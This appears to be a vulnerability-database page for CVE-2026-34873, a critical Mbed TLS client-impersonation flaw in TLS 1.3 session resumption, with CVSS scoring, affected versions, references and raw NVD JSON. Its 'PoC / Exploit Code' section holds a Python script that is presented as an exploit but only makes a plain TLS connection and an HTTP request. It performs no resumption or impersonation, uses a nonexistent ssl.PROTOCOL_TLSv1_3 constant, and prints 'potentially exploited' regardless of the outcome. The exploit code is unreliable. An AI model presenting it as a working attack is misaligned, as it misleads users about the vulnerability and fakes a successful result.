CVE-2026-34873

Description

An issue was discovered in Mbed TLS 3.5.0 through 4.0.0. Client impersonation can occur while resuming a TLS 1.3 session.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:* - VULNERABLE

Mbed TLS >= 3.5.0, <= 4.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual PoC for CVE-2026-34873: Mbed TLS Client Impersonation
import socket
import ssl

# Target vulnerable Mbed TLS server
TARGET_HOST = '192.168.1.100'
TARGET_PORT = 4433

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

# Create TLS 1.3 context
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_3)

try:
    # Attempt to establish connection and resume session
    # Exploit condition: Server fails to verify client identity during resumption
    ssl_sock = context.wrap_socket(sock, server_hostname=TARGET_HOST)
    ssl_sock.connect((TARGET_HOST, TARGET_PORT))
    
    print("[+] Connection established (Session Resumed)")
    print("[+] Vulnerability CVE-2026-34873 potentially exploited")
    
    # Send data as impersonated client
    ssl_sock.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_HOST.encode() + b"\r\n\r\n")
    response = ssl_sock.recv(4096)
    print(response.decode())
    
except Exception as e:
    print(f"[-] Exploit failed: {e}")
finally:
    sock.close()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34873
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34873
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34873/
[4] VulDB https://vuldb.com/cve/CVE-2026-34873
[5] https://mbed-tls.readthedocs.io/en/latest/security-advisories/
[6] https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-client-impersonation-while-resuming-tls13-session/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34873", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:17:01.990", "lastModified": "2026-04-07T12:13:36.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Mbed TLS 3.5.0 through 4.0.0. Client impersonation can occur while resuming a TLS 1.3 session."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.6.6", "matchCriteriaId": "3278BC57-7535-4FB5-B2AA-2938CB48504B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.1.0", "matchCriteriaId": "C28A01CF-A08B-4FC9-A8E1-8897EF66C041"}]}]}], "references": [{"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-client-impersonation-while-resuming-tls13-session/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}